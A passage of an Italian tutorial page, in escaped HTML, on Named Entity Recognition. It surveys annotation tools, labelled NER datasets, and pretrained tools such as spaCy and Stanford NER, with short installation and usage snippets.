Gli annotatori permettono di etichettare dati per la NER, ma anche per task di classificazione testuale piuttosto che task di tipo sequence-to-sequence.&lt;/p&gt;&lt;p&gt;Nel caso della NER, un annotatore presenta una grafica come quella che segue in figura, con delle funzionalità che permettono
di svolgere l&amp;#x27;attività di annotazione semplicemente evidenziando il testo e specificando l&amp;#x27;etichetta da assegnare.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4bd4c38d814cfd2465665862c558e958/10b63/doccano.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:45.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;183\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20183\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M1%207v6h53v10H1v160h399V0H1v7m2%201l1%204h38V5L22%204H3v4m119%2014v4h37v-9h-37v5m-44-1c0%202-1%202-8%202s-9%200-9%202l24%201%2023-1c0-2-2-2-9-2-9%200-10%200-10-2-1-3-11-2-11%200m20%2017l-8%201c-6%200-8%201-8%202%201%201-1%201-10%201s-11%200-11%202l22%201a2613%202613%200%200124-1c0-2-1-2-8-2h-8l7-1%207-1-2-1-3-1h-2m110%2039v4h10l9-1%201-4v-3h-20v4M77%2076c0%203%200%203-4%203h-4l3-1c4%200%206-2%203-2-7-1-12%200-12%201l-1%202-1%202c0%202%201%202%208%202%209%200%209%200%209-6-1-3-1-3-1-1m4%202l1%205h12c12%200%2014-1%2014-2%200-2-1-2-3-2-1%200-2%200-1-1a3603%203603%200%2001-20-1%20378%20378%200%2001-3%201m172-1c-1%201%201%201%207%201%202%200%202%200%201%201l-2%202c0%202%201%202%2010%202%207%200%2010-1%2010-2l-3-2-1-1%202-1-10-1h-12c-1-1-2%200-2%201M72%2088l3%201c1%201-1%201-6%201l-8%201c0%202%201%202%2014%202h13v-3c0-1%200-2-1-1l-5%201h-4l4-1c7%200%205-3-3-3-5%200-7%201-7%202m-12%2025l1%205v4h30v-9l-15-1-16%201m3%2040l6%201%206%201h-7c-6%200-7%200-7%202s53%202%2054%200c0-2-1-2-3-2-1%200-2%200-1-1%203%200%202-2-1-2l-19%201%201%201h4c1%201-2%201-7%201s-6-1-4-1c5%200%207-2%202-2h-6l-2%202c1%201%200%201-2%201-1%200-2%200-1-1%202%200%203-2%201-2-5-1-14%200-14%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4bd4c38d814cfd2465665862c558e958/c85cb/doccano.webp 300w,/static/4bd4c38d814cfd2465665862c558e958/e88ff/doccano.webp 600w,/static/4bd4c38d814cfd2465665862c558e958/92f8c/doccano.webp 1200w,/static/4bd4c38d814cfd2465665862c558e958/62ed8/doccano.webp 1800w,/static/4bd4c38d814cfd2465665862c558e958/eccbe/doccano.webp 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4bd4c38d814cfd2465665862c558e958/5a46d/doccano.png 300w,/static/4bd4c38d814cfd2465665862c558e958/0a47e/doccano.png 600w,/static/4bd4c38d814cfd2465665862c558e958/c1b63/doccano.png 1200w,/static/4bd4c38d814cfd2465665862c558e958/d61c2/doccano.png 1800w,/static/4bd4c38d814cfd2465665862c558e958/10b63/doccano.png 1897w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Schermata di Docccano&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4bd4c38d814cfd2465665862c558e958/c1b63/doccano.png&quot; title=&quot;Figura 5 - Schermata di Docccano&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Schermata di Docccano&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La schermata di esempio proviene da &lt;a href=&quot;https://github.com/doccano/doccano&quot;&gt;&lt;strong&gt;doccano&lt;/strong&gt;&lt;/a&gt;, un&amp;#x27;annotatore ben strutturato e open source. Doccano, una volta
etichettati i dati, permette di esportare il dataset in formato &lt;strong&gt;jsonl&lt;/strong&gt;.
Da citare invece tra quelli a pagamento &lt;a href=&quot;https://prodi.gy/&quot;&gt;&lt;strong&gt;Prodigy&lt;/strong&gt;&lt;/a&gt;, un annotatore avanzato e potenziato attraverso il concetto di active learning;
è sviluppato da &lt;a href=&quot;https://explosion.ai/&quot;&gt;Explosion.ai&lt;/a&gt;, creatori della libreria opensource di NLP &lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2 id=&quot;dataset&quot;&gt;Dataset&lt;/h2&gt;&lt;p&gt;Qualora si voglia addestrare dei modelli per il riconscimento delle entità, un opzione è quella di analizzare prima alcuni dataset etichettati presenti
allo stato dell&amp;#x27;arte.
Si tratta tendenzialmente di dataset generici, con entità etichettate con categorie semantiche relative a nomi di persona, organizzazioni, località, date,
entità temporali; è comunque possibile anche trovare dataset etichettati rispetto a domini più specifici.
Questi dataset sono quasi sempre in lingua inglese, ma molto spesso questo problema può essere superato utilizzando dei tool di machine translation prima di svolgere
l&amp;#x27;attività di Named Entity Recognition, traducendo il contenuto dalla lingua italiana alla lingua inglese, e viceversa.&lt;/p&gt;&lt;p&gt;Ecco una lista di alcuni dei dataset etichettati presenti in rete:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.kaggle.com/abhinavwalia95/entity-annotated-corpus?select=ner_dataset.csv&quot;&gt;&lt;strong&gt;Annotated Corpus for Named Entity Recognition&lt;/strong&gt;&lt;/a&gt;: dataset in BILUO Schema
contenente contenuti testuali etichettati con entità geografiche, geopolitiche, temporali, ecc...&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.clips.uantwerpen.be/conll2003/ner/&quot;&gt;&lt;strong&gt;CoNLL 2003&lt;/strong&gt;&lt;/a&gt;: dataset in BILUO Schema contenente articoli di news annotati  con (LOC) località, ORG (organizzazioni),
PER (persone) and MISC (varie).&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.cmu.edu/~enron/&quot;&gt;&lt;strong&gt;Enron Email Dataset&lt;/strong&gt;&lt;/a&gt;: più di 500.000 email taggate con nomi, date e entità temporali.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://catalog.ldc.upenn.edu/LDC2013T19&quot;&gt;&lt;strong&gt;OntoNotes 5&lt;/strong&gt;&lt;/a&gt;: si tratta di un dataset di news, conversazioni telefoniche, contenuti di blog etichettati con
entità di diverso genere.&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;panoramica-sui-tool-per-la-named-entity-recognition&quot;&gt;Panoramica sui tool per la Named Entity Recognition&lt;/h2&gt;&lt;p&gt;Allo stato dell&amp;#x27;arte sono presenti molti tool e librerie che si occupano della realizzazione e dell&amp;#x27;implementazione di strumenti in ambito
Natural Language Processing. Questi tool forniscono sia dei modelli preaddestrati, facili da utilizzare e integrare velocemente nel proprio codice, sia la
possibilità di addestrarne dei nuovi con i propri dati, sfruttando moduli predefiniti che semplificano l&amp;#x27;addestramento di nuovi strumenti di Machine Learning.&lt;br/&gt;&lt;br/&gt;
Nella sezione successiva vedremo come addestrare modelli custom su dati propri.
Vediamo ora, invece, alcuni tool, di facile utilizzo, che forniscono modelli preaddestrati per il riconoscimento delle entità nel testo. &lt;/p&gt;&lt;h3 id=&quot;spacy&quot;&gt;Spacy&lt;/h3&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:766px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:40%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;160\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20160\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M240%2042c-11%205-17%2015-17%2030%200%2025%2018%2039%2040%2031%2012-4%2020-19%2013-24-4-2-7-1-9%205-3%206-8%2010-12%2010-8%201-10%200-13-3-7-6-9-21-4-32%203-6%207-8%2014-8s10%201%2014%208c3%205%203%205%207%205%206-1%207-7%202-14-6-9-23-12-35-8M79%2058c-10%203-14%2010-10%2018%202%204%206%206%2015%208%209%203%2011%204%2011%208%200%207-12%207-18%200-5-6-10-5-10%201%200%207%207%2011%2019%2011%2014%200%2022-6%2021-15-1-7-6-10-22-14-6-2-8-5-6-8%203-4%209-3%2014%201%207%207%2015%204%2010-3-3-6-16-10-24-7m39%200l-1%2031c0%2032%200%2033%205%2033%204%200%205-2%206-13V98l3%203c3%203%209%204%2014%204%2023-4%2023-44%200-48-5%200-12%202-15%205-2%203-3%203-3%200%200-4-5-6-9-4m66%200c-8%201-13%206-13%2011%200%206%206%207%2011%201%203-4%204-4%209-4%207-1%209%201%209%206%200%202-2%203-12%205-12%203-16%205-18%2010-5%2013%2011%2022%2026%2014%205-2%205-2%207%200%204%205%2011%204%2010-2l-1-17c-1-18-2-21-10-23-5-2-12-2-18-1m103%201c-3%202-3%203%206%2025l8%2019-2%205c-2%204-3%205-6%205-8%200-9%201-9%204%200%208%2018%207%2023-1l21-53c0-3-3-6-6-6-3%201-3%201-10%2019l-5%2014-6-14c-6-19-8-21-14-17m-153%209c-4%202-6%209-6%2015%202%2018%2022%2016%2022-2%200-12-8-18-16-13m57%2016c-8%201-10%203-10%207%200%205%206%207%2013%205%204-1%206-5%206-10%200-4%200-4-9-2\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/52ed935aa044a0f6f08834c364fca63e/c85cb/spacy-rasa.webp 300w,/static/52ed935aa044a0f6f08834c364fca63e/e88ff/spacy-rasa.webp 600w,/static/52ed935aa044a0f6f08834c364fca63e/3fcdd/spacy-rasa.webp 766w&quot; sizes=&quot;(max-width: 766px) 100vw, 766px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/52ed935aa044a0f6f08834c364fca63e/5a46d/spacy-rasa.png 300w,/static/52ed935aa044a0f6f08834c364fca63e/0a47e/spacy-rasa.png 600w,/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png 766w&quot; sizes=&quot;(max-width: 766px) 100vw, 766px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Spacy&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/52ed935aa044a0f6f08834c364fca63e/f7616/spacy-rasa.png&quot; title=&quot;Figura 6 - Spacy&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Spacy&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;&lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt; è un framework di Natural Language Processing, che si occupa dello sviluppo e dell&amp;#x27;implementazione di
tecniche di Machine Learning per molti dei più diffusi task di nlp.
Spacy, tool completamente open source, fornisce inoltre una lista di modelli preaddestrati, con supporto per diverse lingue, tramite i
quali è possibile eseguire su contenuti testuali processi di elaborazione del linguaggio naturale, come il riconoscimento delle entità.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# installazione di spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pip install -U spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#download del modello&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;python -m spacy download it_core_news_sm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading of choosen model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nlp = spacy.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;en_core_web_sm&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# running model on text and printing recognized entities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;doc = nlp(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Apple is looking at buying U.K. startup for $1 billion&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;​&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc.ents:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ent.text, ent.start_char, ent.end_char, ent.label_)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Spacy Named Entity Recognition&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questi due snippet di codice vediamo come installare attraverso &lt;a href=&quot;https://pypi.org/project/pip/&quot;&gt;&lt;strong&gt;pip&lt;/strong&gt;&lt;/a&gt; nel
proprio ambiente &lt;strong&gt;Python&lt;/strong&gt; la libreria e fare il download del modello scelto.
Successivamente, con due semplici righe di codice, è possibile caricare il modello ed eseguirlo sul contenuto testuale a piacere.&lt;/p&gt;&lt;h3 id=&quot;stanford-nlp&quot;&gt;Stanford NLP&lt;/h3&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:225px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:100%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;400\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20400\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M196%2079a366%20366%200%2001-45%2019%204020%204020%200%2001-59%2027%20307%20307%200%2000-34%2015l-19%209-8%204c-9%204-11%206-11%209%202%204%205%203%2023-5%204-2%205-2%207-1h4l7-3%209-3a956%20956%200%200155-24%201777%201777%200%200071-30l3-3%2011%206a185%20185%200%200032%2012l10%204a542%20542%200%200068%2029l16%207c20%209%2036%2015%2037%2014l-1-1-1-1%204%201c5%202%207-3%203-5l-2-2-7-4a153%20153%200%2001-19-9%20185%20185%200%2001-20-9%201073%201073%200%2001-64-28%207187%207187%200%2001-56-25c-10-5-11-5-14-3m-5%2085l-14%203-3%201-2%201-1%201-4%202-3%202c-1%200-15%2015-15%2017l-3%205-3%207-1%203-2%2010c0%206%200%208%201%207l1-3%202-3c1-1%201-1%201%201l1%203%201-3c0-6%207-22%2013-28l4-6%202-2%203-2c8-8%2033-12%2045-8l8%202c10%200%2028%2023%2031%2041%202%208%203%209%205%206%204-4-3-27-10-36l-5-5c-8-8-17-13-27-15-8-2-20-2-25-1M65%20176l-3%201-7%203c-12%204-17%209-22%2018l-2%209v2c-1-2-4%2010-2%2013l1-1%201-4%201-4%201-2%201-3c0-2%209-15%2011-15l1-1%2015-7%203-1c1-3%2022-1%2030%203%208%205%2021%2020%2021%2026l1%202v4l1%203%201-3%201-4c4-3-1-16-10-25-5-6-15-12-22-13-5-1-20-2-22-1m251%200c-9%202-18%206-24%2012-5%204-11%2012-11%2014l-1%202c-2%201-3%205-4%2013%200%206%201%207%203%203l2-4%202-3c2-10%2012-22%2021-26%2013-7%2032-6%2044%202%205%203%2012%2010%2012%2012l1%201%207%2017c0%204%201%205%203%203h1c3%202-1-19-5-23l-1-2c0-2-12-13-16-15-10-6-23-8-34-6m-50%2091c0%2023%200%2027%202%2027l1-27-1-27c-2%200-2%204-2%2027m-117-19c-5%202-6%204-7%2010%200%204-1%206-2%207-3%201-2%203%200%203%202%201%202%201%202%2012%200%209-1%2011-2%2012-4%202-2%203%206%203s10-1%206-2c-2-1-3-5-3-16l1-8%203-1c2%200%203-1%203-2s-1-2-3-2c-3%200-4-1-4-4-1-8%204-12%208-8%202%201%203%202%204%201%205-5-5-9-12-5m87%200v2l2%206c0%207%200%207-4%207-5%200-13%203-15%207-3%204-3%2015-1%2019%204%205%2013%209%2016%206l8-1c8%200%209%200%206-3-2-1-2-2-2-23v-21h-4l-6%201m-209%203c-6%201-9%205-9%2010-1%205%201%208%209%2014%207%205%209%208%208%2011-1%206-13%206-16%201-2-4-3-3-3%202s2%206%2010%206c11%200%2016-4%2016-12%201-6-2-9-9-14-8-5-10-8-8-11%203-4%2011-4%2014%200%202%203%203%203%203-2v-5H27m257%200v44h6v-33l4%206%205%209%206%2010c4%208%204%208%207%208h4v-21c0-23%200-24-3-24s-3%201-3%2018v16l-7-11a1178%201178%200%2000-14-22l-2-1-3%201m41%200l-1%2022%201%2022h12c12%200%2013-1%2013-3s0-2-9-2h-9l-1-19c0-20-1-23-6-20m30%200l-1%2023%201%2021h6v-17h5c12%200%2019-6%2019-15%200-8-5-12-13-12l-12-1-5%201m6%205v16h6c12%200%2016-11%207-16h-13m-309%205l-4%204c-2%200-3%203-1%203l1%2010c0%2012%201%2015%207%2017%204%201%2010-1%2011-3%200-2%200-2-3-1-6%201-7-1-7-13v-10h5c4%200%206-1%206-2%200-2-1-2-5-2-5%200-6-1-6-4%200-4-1-4-4%201m24%204c-3%201-5%205-4%206l3-1c3-3%207-2%209%200%202%204%201%205-5%207s-10%205-10%209c0%207%206%2011%2013%209l5-1c2%202%207%201%208-1%202-2%202-3%200-3s-2-1-2-11c0-11-1-11-3-14-4-2-10-3-14%200m40-2l-8%202c-8%200-9%201-7%203%203%201%203%2023%201%2024-3%202-1%203%206%203%206%200%208-2%205-3s-3-23%200-23c3-2%206-1%208%201s2%203%202%2012c0%206-1%209-2%2010l-1%202%207%201c7%200%209-1%205-3-1-1-2-3-2-12%200-10-1-12-3-14s-10-4-11-3m49%202c-10%207-9%2024%200%2029%2012%206%2025-3%2024-17-2-12-14-18-24-12m42-1l-8%201c-7%200-10%201-6%202%203%201%203%204%203%2014%200%207-1%209-2%2011-3%203-3%203%206%203%206%200%208-1%208-2l-2-1c-2%200-2-1-2-11%200-13%200-14%206-11%202%202%205%200%205-4%200-2-7-4-8-2m-39%206c-3%203-3%2014%200%2018%204%205%2010%204%2012-3%203-12-5-23-12-15m62-2c-5%201-7%2010-5%2017%202%203%204%205%209%205h4v-11c0-10%200-10-3-11l-2-1-3%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/d7e55/stanford-ner.webp 225w&quot; sizes=&quot;(max-width: 225px) 100vw, 225px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg 225w&quot; sizes=&quot;(max-width: 225px) 100vw, 225px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Stanford NLP&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg&quot; title=&quot;Figura 7 - Stanford NLP&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Stanford NLP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;&lt;a href=&quot;https://nlp.stanford.edu/&quot;&gt;&lt;strong&gt;Stanford NLP&lt;/strong&gt;&lt;/a&gt; è un gruppo di ricerca della Stanford University che si dedica al NLP e che
ha realizzato una &lt;a href=&quot;https://nlp.stanford.edu/software/&quot;&gt;suite&lt;/a&gt; di strumenti per diversi task tra cui anche la Named Entity Recognition.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.tag.stanford &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; StanfordNERTagger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# text to processing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentence = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# jar of the model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;jar = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;./stanford-ner-tagger/stanford-ner.jar&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;./stanford-ner-tagger/ner-model-english.ser.gz&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# preparing ner tagger object with choosen jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ner_tagger = StanfordNERTagger(model, jar, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;utf8&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# tokenization: splitting text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words = nltk.word_tokenize(sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# performing ner tagger on words&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ner_tagger.tag(words))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Stanford NLP Ner&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo snippet viene utilizzata la libreria &lt;a href=&quot;https://www.nltk.org/&quot;&gt;&lt;strong&gt;nltk&lt;/strong&gt;&lt;/a&gt; per tokenizzare il contenuto testuale e trasformarlo in una lista di parole.
Successivamente questa lista viene data in pasto al &amp;quot;ner tagger&amp;quot; che restituisce le entità in output.&lt;/p&gt;&lt;h2 id=&quot;training-di-modelli-custom&quot;&gt;Training di modelli custom&lt;/h2&gt;&lt;p&gt;Abbiamo visto come allo stato dell&amp;#x27;arte siano presenti tool e modelli già addestrati e come questi possono essere utilizzati per individuare
le entità sui propri contenuti testuali.&lt;br/&gt;
Ma in molti casi si rivelano insufficienti, sia perchè si vogliono individuare entità relative a categorie semantiche diverse, sia perchè i modelli
preaddestrati non sono adatti alla sorgente dati sulla quale vuole svolgere l&amp;#x27;attività di riconoscimento delle entità.
